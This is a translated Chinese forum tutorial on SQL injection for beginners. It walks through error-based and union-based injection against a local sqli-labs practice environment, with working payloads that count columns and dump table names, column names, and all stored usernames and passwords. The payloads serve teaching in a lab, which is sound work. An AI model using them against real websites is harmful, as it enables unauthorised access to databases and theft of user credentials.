[翻译]SQL注入新手教程(第一部分)

xingyun86 2017-7-12 3064

SQL注入是一种攻击者通过网页将SQL命令注入到SQL语句中的技术。攻击者可以绕过认证,访问、修改和删除数据库中的数据。在某些情况下,SQL注入甚至可被用于执行操作系统级的命令,攻击者可能对防火墙后的网络带来破坏性更大的攻击。

常用数据库

  • MySQL(开源)
  • MSSQL
  • S-ACCESS
  • Oracle
  • Postgre(开源)
  • SQLite

SQL注入类型

  • In Band(带内注入)
  • Out of Band(带外注入)
  • Blind SQLI(盲注)

SQL注入开发技术

  • Error Based Exploitation(基于错误返回的注入)
  • Union Based Exploitation(基于联合查询的注入)
  • Boolen Based Exploitation(布尔型注入)
  • Time Based Exploitation(基于时间延迟注入)
  • Out of Band Exploitation(带外注入)

常见注入点——应用程序和数据交互的地方

  • Authentication(认证页面)
  • Search Fields (搜索页面)
  • Post Fields     (Post请求)
  • Get Fields      (Get请求)
  • HTTP Header(HTTP头部)
  • Cookie

常用SQL语句

SELECT基于搜索条件从数据库中读取数据
INSERT将新数据插入数据库
UPDATE基于给定条件更新已有数据
DELETE基于给定条件删除已有数据
Order By对结果集按照升序或降序排列
Limit By从一个或多个表中检索记录

常用SQL注入字符

1字符串运算符'or'
2多行注释/*...*/
3加号,连接(在URL中等同于空格)+
4单行注释#或--
5双管道(连接)||
6通配符%
7局部变量@
8全局变量@@
9时延waitfor delay '00:00:10'
10字符串替代数字或数字替代字符串

数据库指纹

我们可以通过分析错误信息找出数据库类型。

S.no Error Type of Database
 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1             MySQL
 2ORA-00933: SQL command not properly ended             Oracle
 3Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string             MSSQL

首先从这里下载SQL注入测试平台,并且利用xampp搭建开放SQL注入实验平台。(译者注:可参考这篇博客

点击 Setup/reset Database for labs

在进入 Dhakkan 实验平台之前,我们先了解一些基础知识。(数据库后端如何执行查询操作?查询是如何形成的?我们如何打破它?到底什么是SQL注入?)

想象一个需要输入用户名和密码的登录页面,当你输入用户名和密码后,后端就会产生并执行一条查询(SQL查询),登录后该查询结果会被显示在我们的主页。

例如:

Username - Raj

Password - Chandel

那么后端查询看起来是这样的

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';

这完全取决于开发者是如何将参数值封装在SQL查询中的,可以是单引号、双引号和引号与括号结合使用等。所以查询可能看起来会是这样的

SELECT * FROM table_name WHERE username='Raj' AND password='Chandel';

SELECT * FROM table_name WHERE username=('Raj') AND password=('Chandel');

SELECT * FROM table_name WHERE username="Raj" AND password="Chandel";

SELECT * FROM table_name WHERE username=("Raj") AND password=("Chandel");

或者是开发者选择的任何形式。这里以第一种查询为例进一步解释。

问:如果输入的用户名为 Raj' 会发生什么?

答:如果输入的用户名为 Raj' ,后台查询看起来会是这样的

SELECT * FROM table_name WHERE username='Raj'' AND password='Chandel';

由于多了一个引号,所以此处有语法错误。

问:怎样修复这条查询?可以修复吗?

答:上面的查询可以修复,即使输入的用户名仍为 Raj' 也可以修复。可以通过将 Raj' 后面的查询全部注释掉来修复。所以有效的查询会是这样的

SELECT * FROM table_name WHERE username='Raj'

这条查询语法正确

问:如何将剩余的查询注释掉?

答:这取决于后端的数据库类型。一般情况下使用 --+ 或者 # 。如果输入用户名 Raj'--+ ,完整的后端查询看起来是这样的

SELECT * FROM  table_name WHERE username='Raj'--+' AND password='Chandel';

但是数据库只会读取并执行这条查询

SELECT * FROM  table_name WHERE username='Raj'

--+ 后面的所有东西都被注释掉了,不会翻译为这条查询的一部分。这就是SQL注入。使用恶意的输入改变后端查询。

我不知道你是否对此怀有疑问,反正我当时学习的时候,有这样一个疑问:根据上面的带有注释的查询,我们不需要一个有效的密码就可以登录了吗?

是的,如果开发者没有采取防范SQL注入的措施,并且以上面方式实现查询,那么只有用户名就可能成功登录。

感到很疑惑?别急。接下来的文章我会向你展示具体过程。现在准备好实验平台,开始吧。

点击 lesson 1 并在URL中添加 id 作为参数

一直增大 id 的值(id=1, id=2...)。当 id 的值大于14,你会发现得到的是一个没有用户名和密码的空白页面,这意味着数据库只有14条记录。

后端查询一定是像这样的

SELECT * from table_name WHERE id='1';

或者

SELECT * from table_name WHERE id=('1');

或者

SELECT * from table_name WHERE id="1";

但是我们并不知道开发者具体是怎样封装 id 参数值的。所以得先找封装形式。

输入 id 的值为 1' 来破坏查询。

哈哈,现在我们得到了SQL语法错误提示。因为这个错误提示将会帮助我们找出后端查询,并且我们也会使用这个错误提示来进行SQL注入,所以这种类型的SQL注入又被称为基于错误返回的SQL注入。

现在我们必须看着屏幕截图来分析这个错误。



你也可以通过转义字符来找出 参数封装形式,在MYSQL中 '\'(反斜杠)被用来转义一个字符。转义一个字符意味着取消该字符的特殊用途。使用转义字符可以得到更清楚的图片。

从上面的屏幕截图中可以清晰地看出后端查询

Less-1    -    SELECT * from table_name WHERE id='our input'

Less-2    -    SELECT * from table_name WHERE id=our input

Less-3    -    SELECT * from table_name WHERE id=('out input')

Less-4    -    SELECT * from table_name WHERE id=("our input")

这里以 Less-1 为例进一步解释。输入 1' 对应的完整的后端查询会是

SELECT * from table_name WHERE id='1'' LIMIT 0,1

这条查询有语法错误,之前我已经解释过如何使它语法正确,

输入 1'--+

或者输入 1'--%20(%20 URL编码为空格)

或者输入 1'%23 (%23 URL编码为 # )

http://localhost/sqlilabs/Less-1/?id=1'--%20

http://localhost/sqlilabs/Less-1/?id=1'%23

http://localhost/sqlilabs/Less-1/?id=1'--+

现在我们既可以破坏查询,又可以修复它的语法错误了。那么下一步干什么呢?接下来我们要努力在引号和 --+ 之间添加查询来获取数据库中的信息。

这里我们将会使用另外一条SELECT查询来获取数据库中的信息。

问:两条SELECT查询可以同时工作吗?

答:不行,我们必须得使用UNION操作符来实现。UNION操作符用于合并两个或多个SELECT语句的结果集。但是有一个前提条件,那就是UNION操作符两边的列数必须相同。由于我们并不知道后端的SELECT查询有多少列,所以首要任务就是找出SELECT查询中使用的列数。为此我们要使用ORDER BY子句。

ORDER BY子句会根据查询中使用的指定列将结果集按照升序或降序排列。例如:

ORDER BY country à 将会根据指定列(country)将结果集的元素按照升序排列。

问题又来了,我们根本不知道指令列的名字啊...

解决办法就隐藏在ORDER BY子句中...

我们会用到ORDER BY 1, ORDER BY 2...。因为ORDER BY 1 会根据在查询中出现的第一个指定列将结果集按照升序(默认)排列。(请注意,ORDER BY 1 不是根据表的第一列来排列结果集,而是按照查询中出现的的第一个指定列将结果集按照升序排列)

现在来试一下吧。

http://localhost/sqlilabs/Less-1/?id=1' order by 1 --+ 正确

http://localhost/sqlilabs/Less-1/?id=1' order by 2 --+ 正确

http://localhost/sqlilabs/Less-1/?id=1' order by 4 --+ 错误

错误提示查询中不存在第4列指定行。经过尝试可以发现后端查询中只有3个指定列。

现在我们可以使用UNION操作符来合并另一个SELECT查询了。

http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3 --+

没有错误,但是我们得到的是第一个查询的结果集,为了将第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY。这点可通过给定 id 一个不存在的值来实现。我们可以将 id 的值设为负或者大于14,因为前面已经发现了数据库中只有14条记录。

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,3 --+

或者

http://localhost/sqlilabs/Less-1/?id=15' union select 1,2,3 --+

屏幕显示第2列和第3列的值作为输出。所以我们将会使用这两列来提取有关数据库的信息和信息库里面的数据。

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,version() --+

这会给出后端所使用的数据库的版本信息。

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,database(),version() --+

这会给出我们正在使用的数据库信息和当前后端所使用的数据库的版本信息。

由于使用了UNION操作符来实现SQL注入,这种类型的注入被称为基于联合查询的SQL注入(其实也是基于错误返回的SQL查询的一种)。

基于联合查询的SQL注入

Variable/functionOutput
user()Current User
database()Current Database
version()Database Version
schema()Current Database
UUID()System UUID Key
current_user()Current User
system_user()Current System User
session_user()Session User
@@hostnameCurrent Hostname
@@tmpdirTemporary Directory
@@datadirData Directory
@@versionVersion of Database
@@basedirBase Directory
@@GLOBAL.have_symlinkCheck if symlink is Enabled or Disabled
@@GLOBAL.have_sslCheck if it SSL is available

为了让联合注入工作,首先要知道数据库中的表名,键入:

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

如上图所示,这条查询会显示数据库中的一个表名。例如:emails

有时程序员可能不会打印出所有的行,这时我们就得使用关键字limit一条条进行查询,键入:

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

可以看到第二个表名为referers。与此类似,查询下一个表名时键入:

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 --+

这是一种逐个查询表名的方法,另一种方法是使用关键字group_concat一次性查询所有表名,此关键字将所有表名以组的形式呈现,键入:

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

由上图可以看到,所有表名一起显示出来了。

现在来看看其中的一个表,为了提取其信息,键入:

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

由上图可以看到所有的列信息。注意,我们使用'column'替换了'table',因为我们想要的是一个表的列信息。

截至目前我们已经得到了不同的数据库名和对应的表,现在来看看一个表的具体内容,键入:

id=-1' union select 1,group_concat(username),3 from users --+

由上图可以看到表users中的所有用户名,再来看看这些用户名对应的密码吧,键入:

id=-1' union select 1,group_concat(password),3 from users --+

如此就得到所有的密码了。另一种同时查看所有用户名和对应的密码的方法是,键入:

id=-1' union select 1,group_concat(username),group_concat(password) from users --+



×
打赏作者
最新回复 (0)
只看楼主
全部楼主
返回